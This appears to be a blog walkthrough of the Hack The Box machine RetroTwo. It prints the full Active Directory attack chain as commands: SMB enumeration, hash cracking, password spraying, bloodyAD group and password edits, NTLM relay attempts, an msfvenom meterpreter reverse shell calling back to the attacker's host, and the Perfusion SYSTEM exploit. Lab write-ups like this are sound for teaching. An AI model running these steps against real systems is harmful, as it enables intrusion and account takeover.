HTB: RetroTwo
← Back to the log
October 15, 2026·Johnytiger

HTB: RetroTwo

An encrypted Access database sitting on an open guest share hides the domain credentials, but it takes a custom Java decryptor to pry it open. A foothold as ldapreader leads to a machine account still using its own name as its password, an RDP session onto an ancient Windows Server 2008, and a Perfusion service exploit that finally lands SYSTEM.

securityctfwriteuphacktheboxactive directorywindowssmbpassword crackingrdpprivilege escalation

Kicking things off with the usual nmap scan.

nmap -sCV -p- -Pn 10.129.107.231 -v -T5 --min-rate 1500 --max-rtt-timeout 500ms --max-retries 3 --open -oN nmap_targets.txt

The nmap scan identifying this as an Active Directory system with two domains and a Windows Server 2008 R2 Datacenter host

Looking at our nmap scan we can tell this is an Active Directory system, and we can see two domains we should add to our hosts file, so let's go ahead and add those now. Once they're in, let's run enum4linux and see what info we get back. The results show it's a Windows Server 2008 R2 Datacenter (7601) host, and we also have guest access to SMB, so let's run netexec smb and check out the shares.

enum4linux results showing a Windows Server 2008 R2 Datacenter host with guest access to SMB, and a netexec smb run returning access denied

We're getting an access denied. We have to run it with -u 'guest' according to that scan, so let's try that.

nxc smb 10.129.107.231 -u 'guest' -p '' --shares --rid-brute 5000

A netexec smb run as the guest account with rid-brute, enumerating a list of domain users

Great! We have a users list. Let's save these to a users.txt list and keep enumerating. The /Public share has READ, so let's smbclient into it and take a look around.

smbclient //10.129.107.231/Public -N -c 'recurse ON; ls'

smbclient listing the Public share recursively, revealing a database file

Looks like a database, which is a perfect place to find credentials. Let's bring it over and have a look.

smbclient //10.129.107.231/Public -N -c 'cd DB; lcd /tmp; get staff.accdb'

Pulling the staff database from the Public share with smbclient

We aren't able to open it, which could mean it's password protected. Let's hit it with strings.

strings -n 6 /tmp/staff.accdb | grep -iE 'pass|pwd|ldap|inventory|retro2|@|svc'

Running strings over the Access database, which shows that it is encrypted

It's encrypted. Let's use office2john and see if we can crack its hash.

python3 /usr/share/john/office2john.py /tmp/staff.accdb > accdb.hash
john --wordlist=/usr/share/wordlists/rockyou.txt accdb.hash

office2john extracting the database hash and john cracking it against rockyou almost instantly

It cracks easily. Let's decrypt the db with msoffcrypto-tool and run mdb-tables again to see if we can find any credentials.

An attempt to decrypt the database with msoffcrypto-tool that does not work

It doesn't work. We need a program that can actually decrypt this file. Meanwhile, let's spray the users list with the password we got from the cracked hash.

A password spray of the cracked password across the user list, returning no hits

Nothing. Ok, let's keep working on that db. After fiddling around for a bit, I ended up writing a decryptor in Java, then exported the staff tables, and within them we find hardcoded credentials.

import com.healthmarketscience.jackcess.*;
import com.healthmarketscience.jackcess.crypt.CryptCodecProvider;
import com.healthmarketscience.jackcess.impl.*;
import java.io.*;
import java.nio.ByteBuffer;
public class Decrypt {
  public static void main(String[] a) throws Exception {
    DatabaseImpl db = (DatabaseImpl) new DatabaseBuilder(new File(a[0]))
        .setCodecProvider(new CryptCodecProvider(a[1]))
        .setReadOnly(true).open();
    PageChannel pc = db.getPageChannel();
    int ps = db.getFormat().PAGE_SIZE;
    int pages = (int) (new File(a[0]).length() / ps);
    byte[] tmp = new byte[ps];
    ByteBuffer buf = pc.createPageBuffer();
    try (FileOutputStream out = new FileOutputStream(a[2])) {
      for (int i = 0; i < pages; i++) {
        buf.clear();
        pc.readPage(buf, i);
        buf.rewind();
        buf.get(tmp, 0, ps);
        out.write(tmp);
      }
    }
    db.close();
    System.out.println("wrote " + pages + " pages (" + ps + "b each) to " + a[2]);
  }
}
mdb-export /tmp/staff_plain.accdb StaffMembers
strings -n 4 /tmp/staff_plain.accdb | grep -iE 'retro2|CN=|@retro2|pass|pwd|svc|ldap|inventory|class'
strings -n 4 /tmp/staff_plain.accdb | grep -i -B3 -A10 'ImportStaffUsersFromLDAP'
strings -n 4 /tmp/staff_plain.accdb | grep -i -B3 -A10 'strPassword'
strings -n 4 /tmp/staff_plain.accdb | grep -i -B3 -A10 'ldapreader'

A custom Java decryptor for the Access database, then mdb-export and strings revealing hardcoded credentials in the staff tables

Let's note those down and spray across the users list. We find that only the ldapreader account hits.

Spraying the recovered credentials across the user list, with only the ldapreader account landing a hit

That's fine, let's start enumerating that account. Let's BloodHound the user and check for ACL edges.

nxc ldap 10.129.107.231 -u ldapreader -p 'ppYaVcB5R' \
  --bloodhound --collection All --dns-server 10.129.107.231

We don't get much info, so let's run bloodyAD with the account and use get writable with the detail flag.

bloodyAD --host BLN01.retro2.vl -d retro2.vl -u ldapreader -p 'ppYaVcB5R' get writable --detail

bloodyAD get writable as ldapreader, showing the account can inject DNS records

We can inject DNS records! Let's give this a shot. First let's run responder, then hit it with the relay. We get nothing, but using coercer we actually get a response.

sudo responder -I tun0 -wv
coercer coerce -u ldapreader -p 'ppYaVcB5R' -d retro2.vl -l 10.10.14.211 -t 10.129.107.231 -v

coercer getting a response from the target after responder and the relay returned nothing

But this doesn't pan out, so we have to use our ntlmrelayx.

sudo impacket-ntlmrelayx -t ldap[:]//10.129.107.231 --escalate-user ldapreader -smb2support --remove-mic
coercer coerce -u ldapreader -p 'ppYaVcB5R' -d retro2.vl -l 10.10.14.211 -t 10.129.107.231 -v

An impacket-ntlmrelayx and coercer relay attempt that fails

None of this worked out. It's time to take a step back and analyze the situation a bit, maybe we missed something. Let's enumerate the account again and see what else we can find.

nxc ldap 10.129.107.231 -u ldapreader -p 'ppYaVcB5R' --query "(objectClass=computer)" "sAMAccountName userAccountControl logonCount"

Default accounts for this version of Windows usually use their username as their password, so giving the ADMWS01 account a try at changing its password proves successful!

bloodyAD -k --host BLN01.retro2.vl -d retro2.vl set password 'ADMWS01$' 'AdmWs01Pass!2026'

Resetting the ADMWS01 machine account password with bloodyAD, which succeeds because its password matched its own name

We were able to pull a ticket and enumerate for more info. Remember the inventory account from the services group? Let's try to hit that from here.

bloodyAD -k --host BLN01.retro2.vl -d retro2.vl get object 'services' --attr member,memberOf,description

Enumerating the services group with bloodyAD, which points at the inventory account

Look, they're part of Remote Desktop Users! Let's add ldapreader to that group and attempt to RDP in.

bloodyAD -k --host BLN01.retro2.vl -d retro2.vl add groupMember 'services' 'ldapreader'

Adding ldapreader to the services group with bloodyAD to gain Remote Desktop access

Great, we're in. Let's RDP into the computer from that account. We had issues at first, so we had to unset KRB5CCNAME and then RDP in.

unset KRB5CCNAME
xfreerdp3 /u:ldapreader /d:retro2.vl /p:'ppYaVcB5R' /v:10.129.107.231 /cert:ignore /tls:seclevel:0 /dynamic-resolution

An RDP session into the Windows Server 2008 host as ldapreader via xfreerdp

It worked and we're now in. Taking a look around, we can see we have the inventory and an admin account on this computer, so maybe we can change inventory's password and log in as them. Let's re-evaluate the scenario here.

bloodyAD -k --host BLN01.retro2.vl -d retro2.vl get writable --detail | grep -i 'CN=inventory'

Checking whether the inventory account is writable with bloodyAD, which comes back empty

Empty. Ok, so we can't do that, let's move on.

Researching local privilege escalation options for this old Windows build

Doing some research, I found something that works on this version of Windows: itm4n/Perfusion. Let's pull it over, build it, and send the .exe to our target. We can't use iwr since this version of PowerShell is way too old (PowerShell 2.0), so we'll use the Net.WebClient DownloadFile method instead.

Downloading the Perfusion exploit to the target with the old PowerShell WebClient method, which lands an empty file

We got a file but it's empty, so something went wrong here. I ended up finding another exploit, one that's available on Metasploit, but instead we'll download the .exe and send it to the target to try running it manually first, then we can fall back to the Metasploit option: SecWiki MS15-051. There's a compiled Taihou64.exe in the compiled folder that we can use.

Trying the compiled Taihou64 MS15-051 kernel exploit from SecWiki

None of these worked, so we'll get ourselves a meterpreter x64 shell from Metasploit.

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.211 LPORT=444 -f exe -o rev2.exe

Building a meterpreter x64 reverse shell payload with msfvenom

Trying a few of these payloads, we keep missing the privesc. Again, a perfect time to step back and see if there's another path. Going back to the Perfusion solution, we finally get it built on our Kali box and ship it over to the target, then hit our meterpreter shell with the Perfusion exploit.

./Perfusion.exe -c "cmd.exe /c C:\Users\Public\rev2.exe"

The Perfusion exploit landing a SYSTEM shell, with the user and root flags on screen both blurred

We grab both our user flag (found in the C drive root) and our root flag over in the Administrator account! This box was pretty interesting, and it feels like something you'd come across every now and then in the wild. It seemed pretty old, but I did learn a lot.

End of transmissionAll posts
Drive
Johnytiger